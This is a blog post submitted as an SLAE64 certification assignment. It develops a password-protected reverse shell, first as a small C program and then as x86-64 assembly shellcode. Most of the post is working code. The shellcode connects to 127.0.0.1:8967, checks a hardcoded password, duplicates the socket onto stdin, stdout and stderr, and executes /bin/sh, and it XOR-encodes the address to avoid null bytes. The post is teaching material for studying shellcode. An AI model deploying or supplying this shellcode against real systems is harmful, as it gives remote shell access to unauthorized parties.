This is the second assignment for the SecurityTube Linux Assembly Expert certification, it consists in the creation of a password protected reverse shell.
A reverse shell is similar to a bind shell but instead of waiting passively for remote connections, it actively connects to a specified IP address and redirects STDIN, STDOUT and STDERR to that socket.
Again, I’ve written a very small C program to test if I’ve fully grasped the concept, such program is below. In this case the program starts a new connection to itself on 127.0.0.1 on port 8967.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int main() { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr; int sockaddr_len = sizeof(addr); addr.sin_family = AF_INET; addr.sin_port = htons(8967); inet_aton("127.0.0.1",(struct in_addr *) &addr.sin_addr); bzero(&addr.sin_zero, 8); connect(sockfd, (struct sockaddr *) &addr, sockaddr_len); dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); execve("/bin/sh", NULL, NULL); return 0; } |
As this was tested and validated to be working properly, the job of translating it to Assembly began.
The result below is not a line by line translation as that would be nonsense, one should take the time to optimize whenever some refactoring is required.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
BITS 64 global _start section .text ;; System call codes (from unistd_64.h) SYS_DUP2 equ 0x21 ;__NR_dup2 33 SYS_SOCKET equ 0x29 ;__NR_socket 41 SYS_CONNECT equ 0x2a ;__NR_connect 42 SYS_EXECVE equ 0x3b ;__NR_execve 59 ;; Socket constants AF_INET equ 0x02 SOCK_STREAM equ 0x01 ;; Shellcode constants ENCODER equ 0xaaaaaaaa ; used to encode the HOST IP to avoid NULL HOST equ 0xabaaaad5 ; 127.0.0.1 in binary, reversed and xored with 0xaa PORT equ 0x0723 ; port 8967 -> 0x2307 then reversed by htons() PASSWORD equ '7698' ; ascii '7698' then reversed _start: socket: ;; sockfd = socket(AF_INET, SOCK_STREAM, 0) push SYS_SOCKET pop rax push AF_INET pop rdi push SOCK_STREAM pop rsi xor rdx, rdx syscall ;; store sockfd in %rdi push rax pop rdi sockaddr: push rdx ; push 0x0 twice, for 16 empty bytes push rdx ; which is the size of sockaddr mov byte [rsp], AF_INET ; addr.sin_family = AF_INET mov word [rsp+0x2], PORT ; addr.sin_port = htons(8967) mov eax, HOST xor eax, ENCODER ; get the original IP (0x0100007f) mov dword [rsp+0x4], eax ; inet_aton("127.0.0.1", &addr) push rsp pop rsi ; get &addr in %rsi connect: ;; connect(sockfd, (struct sockaddr *) &addr, 16) push 0x10 pop rdx push SYS_CONNECT pop rax ;; %rdi already contains sockfd syscall read: ;; read(sockfd, void *buf, size) xor eax, eax ; EAX=0 -> __NR_read 0 syscall ; %rdx = 16 ; %rsi = &sockaddr cmp dword [rsi], PASSWORD jne quit dup2: ;; dup2(sockfd, 0) ;; dup2(sockfd, 1) ;; dup2(sockfd, 2) push 0x3 pop rsi dup2_loop: dec rsi push SYS_DUP2 pop rax syscall jne dup2_loop execve: ;; execve('//bin/sh', NULL, NULL) sub rdx, rdx push rdx push rdx pop rsi mov rdi, '//bin/sh' push rdi push rsp pop rdi push SYS_EXECVE pop rax syscall quit: |
Since I was using 127.0.0.1 as the remote IP for the connection, and the address includes NULL characters, I’ve had to use a trick that I’ve learned in SLAE videos, XOR the desired value with some character (0xAA in this case) and XOR back with it once it is loaded in some register.
All code is available from my Github repo.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification.
Student ID: SLAE64-1440